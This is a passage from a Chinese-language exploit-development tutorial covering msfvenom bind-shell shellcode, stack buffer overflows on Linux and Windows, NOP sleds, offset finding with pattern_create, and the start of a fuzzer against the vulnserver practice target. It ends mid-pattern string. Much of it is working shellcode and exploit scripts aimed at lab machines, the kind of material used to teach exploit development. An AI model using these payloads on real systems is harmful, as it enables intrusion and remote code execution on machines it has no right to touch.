前面命令的输出显示在以下截图中:
现在,我们连接到了攻击者的机器:
我们成功了!
使用 Metasploit 生成 shellcode
在这里,事情比你想象的简单。我们将使用 Metasploit 为多个平台和多个架构生成 shellcode,并在一个命令中删除坏字符。
我们将使用 msfvenom
命令。让我们使用 msfvenom -h
显示所有选项:
让我们使用msfvenom -l
列出所有的有效载荷-这是一个非常庞大的有效载荷列表:
这只是列表中的一个小部分。
让我们使用msfvenom --help-formats
来查看输出格式:
让我们尝试在 Linux 上创建绑定 TCP shellcode:
$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f c
这里很简单:-a
指定架构,然后我们指定平台为 Linux,然后选择我们的有效载荷为linux/x64/shell/bind_tcp
,然后使用-b
选项去除不良字符\x00
,最后我们指定格式为 C。让我们执行一下看看:
现在,将那个 shellcode 复制到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
然后,将其复制到我们的受害者机器上。现在,编译并运行它:
$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf
它正在等待连接。现在,让我们在攻击者机器上使用 Metasploit Framework 和msfconsole
命令设置我们的监听器,然后选择处理程序:
use exploit/multi/handler
然后,我们使用这个命令选择我们的有效载荷:
set PAYLOAD linux/x64/shell/bind_tcp
现在,我们指定受害者机器的 IP:
set RHOST 192.168.238.128
然后,我们指定端口- Metasploit 的默认端口是4444
:
set LPORT 4444
现在,我们运行我们的处理程序:
exploit
上述命令的输出如下截图所示:
它说会话在session 1
上是活动的。让我们使用session 1
激活这个会话:
成功了!
总结
在本章中,我们学习了如何创建简单的 shellcode 以及如何去除不良字符。我们继续使用execve
执行系统命令。然后,我们构建了高级的 shellcode,比如绑定 TCP shell 和反向 TCP shell。最后,我们看到了如何使用 Metasploit Framework 在一行中构建 shellcode 以及如何使用 Metasploit 设置监听器。
我们现在确切地知道如何构建有效载荷,所以我们将看看如何使用它们。在下一章中,我们将讨论缓冲区溢出攻击。
第六章:缓冲区溢出攻击
在本章中,我们将更深入地探讨缓冲区溢出攻击。我们将看到如何改变执行流程,并且看一些非常简单的方法来注入 shellcode。我们开始吧?
Linux 上的堆栈溢出
现在,我们即将学习什么是缓冲区溢出,并且我们将了解如何改变执行流程,使用一个有漏洞的源代码。
我们将使用以下代码:
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
好的,让我们稍微调整一下,做一些更有用的事情:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void letsprint()
{
printf("Hey!! , you succeeded\n");
exit(0);
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
在这里,我们添加了一个新函数letsprint
,其中包含printf
,由于这个函数从未在main
函数中被调用过,它将永远不会被执行。那么,如果我们使用这个缓冲区溢出来控制执行并改变流程来执行这个函数呢?
现在,让我们在我们的 Ubuntu 机器上编译并运行它:
$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
$ ./buffer aaaa
前面命令的输出可以在以下截图中看到:
如你所见,什么都没有发生。让我们尝试造成溢出:
$ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
前面命令的输出可以在以下截图中看到:
好的,现在让我们试着在我们的 GDB 中获取那个错误:
$ gdb ./buffer
然后,让我们在main
函数处设置一个断点,暂停执行在main
函数处:
$ break main
现在,程序开始。它将在main
函数处暂停。使用 24 个a
字符作为输入继续:
$ run aaaaaaaaaaaaaaaaaaaaaaaa
然后,代码将在main
处暂停:
按下C和Enter键继续执行:
程序如预期地崩溃了,所以让我们尝试输入 26 个a
字符:
$ run aaaaaaaaaaaaaaaaaaaaaaaaaa
你可以使用 Python 生成输入,而不是计算字符数:
#!/usr/bin/python
buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)
然后,给予它执行权限并执行它:
$ chmod +x exploit.py
$ ./exploit.py
在 GDB 中,运行以下命令:
$ run $(cat input.txt)
然后,代码将在main
处暂停:
按下C然后Enter继续执行:
你注意到??()
中的错误0x0000000000006161
了吗?从前面的截图中,程序不知道0x0000000000006161
在哪里,6161
是aa
,这意味着我们能够向 RIP 寄存器注入 2 个字节,这就是我如何在 24 个字符后开始的。别担心,我们将在下一章中讨论这个问题。
让我们确认一下,使用 24 个a
字符和 6 个b
字符:
$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb
我们也可以使用 Python:
#!/usr/bin/python
buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)
然后,执行利用以生成新的输入:
$ ./exploit
之后,在 GDB 中运行以下命令:
$ run $(cat input.txt)
然后,代码将触发断点:
按下C然后Enter继续:
现在,通过查看错误,我们看到我们注入的b
字符在里面。在这一点上,我们做得很好。现在我们知道了我们的注入形式,让我们尝试使用disassemble
命令执行letsprint
函数:
$ disassemble letsprint
前面命令的输出可以在以下截图中看到:
我们得到了letsprint
函数中的第一条指令,push rbp
,地址为0x00000000004005e3
,我们需要的是真实地址;我们也可以使用print
命令来获取地址:
$ print letsprint
前面命令的输出可以在以下截图中看到:
现在我们有了地址,让我们尝试使用 Python 构建我们的利用,因为我们不能直接传递地址:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)
然后,我们执行它以生成新的输入:
$ ./exploit
现在,在 GDB 中,运行以下命令:
$ run $(cat input.txt)
然后,它将触发断点:
按下C然后Enter继续:
我们做到了!现在,让我们从我们的 shell 中确认,而不是从 GDB 中确认:
$ ./buffer $(cat input.txt)
前面命令的输出可以在以下截图中看到:
是的,我们改变了执行流程,执行了本不应该执行的东西!
让我们再试一个有趣的有效载荷。我们将使用我们的代码:
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
但我们将在这里添加我们的execve
系统调用来从上一章运行/bin/sh
:
unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们把它们放在一起:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void shell_pwn()
{
char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
此外,这里shell_pwn
永远不会被执行,因为我们从未在这里调用它,但现在我们知道如何做。首先,让我们编译它:
$ gcc -fno-stack-protector -z execstack exec.c -o exec
然后,在 GDB 中打开我们的代码:
$ gdb ./exec
然后,在main
函数处设置断点:
$ break main
好的,现在让我们准备我们的利用程序来确认 RIP 寄存器的确切位置:
#!/usr/bin/python
buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)
然后,执行我们的利用程序:
$ ./exploit.py
现在,从 GDB 中运行以下命令:
$ run $(cat input.txt)
然后,它将在main
函数处触发断点:
按C然后Enter继续:
是的,它在抱怨我们的 6 个b
字符,0x0000626262626262
,所以现在我们走上了正确的道路。现在,让我们找到我们 shellcode 的地址:
$ disassemble shell_pwn
上述命令的输出可以在以下屏幕截图中看到:
第一条指令的地址是0x000000000040060d
。此外,我们可以使用print
函数:
$ print shell_pwn
上述命令的输出可以在以下屏幕截图中看到:
完美!现在,让我们构建我们的最终利用:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x00000040060d)
f = open("input.txt", "w")
f.write(buffer)
然后,执行它:
$ ./exploit.py
然后,在 GDB 内部,运行以下命令:
$ run $(cat input.txt)
然后,代码将在main
函数处暂停;按C继续:
现在我们有了一个 shell;让我们尝试使用$ cat /etc/issue
来执行它:
让我们确认一下,使用我们的 bash shell 而不是 GDB:
$ ./exec $(cat input.txt)
上述命令的输出可以在以下屏幕截图中看到:
让我们尝试执行一些东西:
它奏效了!
Windows 上的堆栈溢出
现在,让我们尝试之前的易受攻击代码来利用 Windows 7 上的堆栈溢出。我们甚至不必在 Windows 上禁用任何安全机制,如地址空间布局随机化(ASLR)或数据执行防护(DEP);我们将在第十二章中讨论安全机制,检测和预防 - 我们开始吧?
让我们使用 Code::Blocks 尝试我们的易受攻击代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void letsprint()
{
printf("Hey!! , you succeeded\n");
exit(0);
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
简单地打开 Code::Blocks 并导航到文件|新建|空文件。
然后,编写我们的易受攻击代码。转到文件|保存文件,然后将其保存为buffer2.c
:
现在,让我们通过导航到构建|构建来构建我们的代码。
让我们尝试看看幕后发生了什么;以管理员身份打开 Immunity Debugger。
然后,转到文件|打开并选择buffer2
。在这里,将我们的参数输入为aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
(27 个a
和 4 个b
的字符);稍后我们将知道如何获得我们有效负载的长度:
现在,我们可以看到我们的四个窗口。运行程序一次。之后,我们就到了程序的入口点:
现在,再次运行程序并注意状态栏:
当执行62626262
时,程序崩溃并给出访问冲突,这些是我们的字符b
的 ASCII 码,最重要的是要注意寄存器(FPU)窗口:
指令指针指向b
字符62626262
,太完美了!
现在,让我们尝试定位我们的函数。从 Immunity Debugger 中,导航到调试|重新启动。
现在我们重新开始;运行程序一次,然后右键单击反汇编窗口,导航到搜索|所有引用的文本字符串:
在这里,我们正在搜索我们的字符串,它位于letsprint
函数内部,Hey!! , you succeeded\n
。
将弹出一个新窗口:
第三个是我们的字符串,但由于exit(0)
函数的存在,它是不可读的。您可以通过编译另一个版本并执行相同的步骤来确保,然后您将能够读取我们的字符串。
这里的地址不是固定的-您可能会得到不同的地址。
双击我们的字符串,然后 Immunity Debugger 会将您准确设置在地址0x00401367
处的字符串上:
实际上,我们不需要我们的字符串,但我们需要定位letsprint
函数。继续向上直到到达上一个函数的末尾(RETN
指令)。然后,下一条指令将是letsprint
函数的开始:
就是这样!地址0x0040135f
应该是letsprint
函数的开始。现在,让我们确认一下。打开 IDLE(Python GUI)并导航到文件|新建窗口:
在新窗口中,编写我们的利用程序:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)
然后,将其保存为exploit.py
:
点击 IDLE 窗口上的运行,这将在当前工作目录中生成一个新文件input.txt
。
打开input.txt
文件:
这是我们的有效载荷;复制输出文件的内容。然后,返回到 Immunity Debugger,通过导航到文件|打开,然后将有效载荷粘贴到参数中并选择buffer2
:
然后,启动 Immunity Debugger:
现在,运行程序;然后,它将暂停在程序的入口点:
现在,再次运行程序一次:
程序正常退出,退出代码为0
。现在,让我们来看看 Immunity 的 CLI:
它奏效了!让我们来看看堆栈窗口:
请注意,a
字符被注入到堆栈中,letsprint
地址被正确注入。
现在,让我们尝试注入一个 shellcode,而不是使用letsprint
函数,使用 Metasploit 生成 Windows 的 shellcode:
$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c
前面命令的输出可以在下面的截图中看到:
我们可以在使用之前测试这个 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
然后,构建并运行它:
现在,它正在等待我们的连接。从我们的攻击机器上,启动 Metasploit:
$ msfconsole
然后,选择处理程序以连接到受害者机器:
$ use exploit/multi/handler
现在,选择我们的有效载荷,即windows/shell_bind_tcp
:
$ set payload windows/shell_bind_tcp
然后,设置受害者机器的 IP 地址:
现在,设置 rhost:
$ set rhost 192.168.129.128
然后,让我们开始:
$ run
前面命令的输出可以在下面的截图中看到:
现在,会话开始于session 1
:
$ session 1
前面命令的输出可以在下面的截图中看到:
我们现在在受害者机器内部。退出此会话,让我们回到我们的代码。因此,我们的最终代码应该是这样的:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
现在,构建它,并让我们在 Immunity Debugger 中运行它,以找到shell_pwn
函数的地址。以管理员身份启动 Immunity Debugger,并选择我们带有任何参数的新代码:
然后,运行程序一次。现在,我们在程序的入口点:
右键单击主屏幕,导航到搜索|所有引用的文本字符串:
你看到Shellcode Length
了吗?这是shell_pwn
函数中的一个字符串;现在双击它:
程序将我们设置在Shellcode Length
字符串的确切位置。现在,让我们向上移动,直到我们达到函数的起始地址:
就是在地址0x00401340
。现在,让我们设置我们的利用代码:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x00401340)
f = open("input.txt", "w")
f.write(buffer)
现在,运行利用代码以更新input.txt
;然后,打开input.txt
:
然后,复制其中的内容。返回到 Immunity Debugger,再次打开程序并粘贴有效载荷:
然后,再次运行程序两次。代码仍在运行:
还要注意状态栏:
我们的 shellcode 现在正在运行并等待我们的连接。让我们回到我们的攻击机器上,设置处理程序以连接到受害者机器:
$ msfconsole
$ use exploit/multi/handler
$ set payload windows/shell_bind_tcp
$ set rhost 192.168.129.128
$ run
前面命令的输出可以在下面的截图中看到:
连接已在session 2
上建立:
$ session 2
前面命令的输出可以在下面的截图中看到:
它奏效了!
总结
在这一点上,我们知道了如何在 Linux 和 Windows 上进行缓冲区溢出攻击。此外,我们知道如何利用堆栈溢出。
在下一章中,我们将讨论更多的技术,比如如何定位和控制指令指针,如何找到有效载荷的位置,以及更多关于缓冲区溢出攻击的技术。
第七章:利用开发-第 1 部分
利用开发,我们来了!现在我们开始真正的东西!在本章中,我们将学习如何处理利用模糊测试。我们还将学习利用开发中的技术,如控制指令指针以及如何找到放置我们的 shellcode 的位置。
以下是我们将在本章中涵盖的主题:
-
模糊测试和控制指令指针
-
注入 shellcode
-
缓冲区溢出的完整示例
让我们开始吧!
模糊测试和控制指令指针
在上一章中,我们注入了字符,但我们需要知道指令指针的确切偏移量,即注入 24 个 As。找到 RIP 寄存器的确切偏移量的想法是注入一个特定序列长度的模式,并根据堆栈上的最后一个元素计算 RIP 寄存器的偏移量。别担心,你将在下一个例子中理解。那么我们如何确定 RIP 寄存器的确切偏移量呢?我们有两个工具可以做到这一点,Metasploit 框架和 PEDA,我们将讨论它们两个。
使用 Metasploit 框架和 PEDA
首先,我们将使用 Metasploit 框架创建模式,为此我们需要导航到此位置:/usr/share/metasploit-framework/tools/exploit/
。
现在,如何创建一个模式?我们可以使用pattern_create.rb
来创建一个。
让我们举个例子,使用我们的易受攻击的代码,但使用一个更大的缓冲区,比如256
:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char* input)
{
char buffer[256];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
现在,让我们编译它:
$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
然后我们将使用 GDB:
$ gdb ./buffer
接下来,我们计算 RIP 位置的偏移量。因此,首先让我们在攻击机上使用 Metasploit 框架创建一个模式,并在/usr/share/metasploit-framework/tools/exploit/
中进行操作:
$ ./pattern_create.rb -l 300 > pattern
在上一个命令中,我们生成了一个长度为300
的模式,并将其保存在名为pattern
的文件中。现在将此文件复制到我们的受害机器上,并在 GDB 中使用此模式作为输入:
$ run $(cat pattern)
上述命令的输出可以在以下截图中看到:
代码停止了,如预期的那样,出现了错误。现在,我们需要提取堆栈中的最后一个元素,因为在那之后的元素应该溢出 RIP 寄存器。让我们看看如何使用x
命令打印内存中的内容来获取堆栈中的最后一个元素。让我们看看x
命令在 GDB 中的工作原理,使用help x
:
现在,让我们使用x
打印堆栈中的最后一个元素:
$ x/x $rsp
上述命令的输出可以在以下截图中看到:
堆栈中的最后一个元素是0x41386941
。您还可以使用x/wx $rsp
来打印 RSP 寄存器内的完整字。现在我们需要在攻击机上使用pattern_offset.rb
计算 RIP 寄存器的确切位置:
$ ./pattern_offset.rb -q 0x41386941 -l 300
首先,我们指定了我们从堆栈中提取的查询;然后我们指定了我们使用的模式的长度:
它告诉我们堆栈中的最后一个元素位于位置264
,这意味着接下来的六个字符应该溢出 RIP 寄存器:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)
如果我们的计算是正确的,我们应该在 RIP 中看到 42。让我们运行这段代码:
$ chmod +x exploit.py
$ ./exploit.py
然后,在 GDB 中运行以下命令:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
我们的 42 现在在指令指针中,ASCII 中是bbbbbb
。
注入 shellcode
RIP 现在包含我们的 6 个 Bs(424242424242
),代码已经不再抱怨0x0000424242424242
在内存中的位置了。
到目前为止,我们已经成功地利用了我们的漏洞。这就是我们的有效载荷:
我们需要找到一种方法来注入 shellcode 到 As 中,这样我们就可以轻松地跳转到它。为此,我们需要首先注入0x90
或 NOP 指令,即 NOP,只是为了确保我们的 shellcode 被正确注入。在注入我们的 shellcode 之后,我们将改变指令指针(RIP)到内存中包含 NOP 指令(0x90
)的任何地址。
然后执行应该只是在所有 NOP 指令上传递,直到它碰到 Shellcode,然后开始执行它:
这就是我们的攻击应该是什么样子的。让我们尝试注入 execve /bin/sh
shellcode(长度为 32
)。现在我们需要在内存中找到包含 0x90
的任何地址:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)
让我们运行新的攻击:
$./exploit.py
然后,在 GDB 中,运行以下命令:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
程序停止了。现在,让我们查看堆栈以搜索我们的 NOP 滑块,通过从内存中打印 200
个十六进制值:
$ x/200x $rsp
上述命令的输出可以在以下截图中看到:
我们得到了它们!这些是我们注入的 NOP 指令。此外,在 NOP 之后,你可以看到 32 个 C(43
),所以现在我们可以选择这些 NOP 指令中间的任何地址;让我们选择 0x7fffffffe2c0
:
这就是最终的有效载荷应该是什么样子的:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)
让我们运行攻击:
$ ./exploit.py
然后,在 GDB 中,运行以下命令:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
现在我们在 GDB 中得到了 bash 提示符;让我们尝试执行类似 cat /etc/issue
的命令:
它给了我们 /etc/issue
的内容。
它成功了!
缓冲区溢出的完整示例
现在,让我们看一个完整的缓冲区溢出示例。我们需要下载并在 Windows 上运行 vulnserver。Vulnserver 是一个易受攻击的服务器,我们可以在其中练习利用开发技能。你可以在 github.com/stephenbradshaw/vulnserver
找到它。
下载后,使用 vulnserver.exe
运行它:
现在,它正在工作,并等待在端口 9999
上使用 netcat 进行连接。
Netcat 是一个用于与服务器建立连接或监听端口并等待来自另一个客户端的连接的工具。现在,让我们从攻击机器上使用 nc
:
$ nc 172.16.89.131 9999
上述命令的输出可以在以下截图中看到:
现在,让我们尝试模糊化一个参数,比如 TRUN
(这是一个易受攻击的参数,在易受攻击的设计应用程序中)。我们需要建立一个脚本来帮助我们做到这一点:
#!/usr/bin/python
import socket
server = '172.16.89.131' # IP address of the victim machine
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
让我们尝试发送 50
个 A:
它没有崩溃。那么 5000
个 A 呢:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
./fuzzing.py
命令的输出可以在以下截图中看到:
没有回复!让我们看看我们的 Windows 机器:
程序崩溃了,它抱怨内存位置 0x41414141
,这是我们的 5000
个 A。在第二阶段,也就是控制 RIP,让我们创建一个长度为 5000
字节的模式。
从我们的攻击机器,导航到 /usr/share/metasploit-framework/tools/exploit/
:
./pattern_create.rb -l 5000
上述命令的输出可以在以下截图中看到:
将输出模式复制到我们的攻击中:
#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0A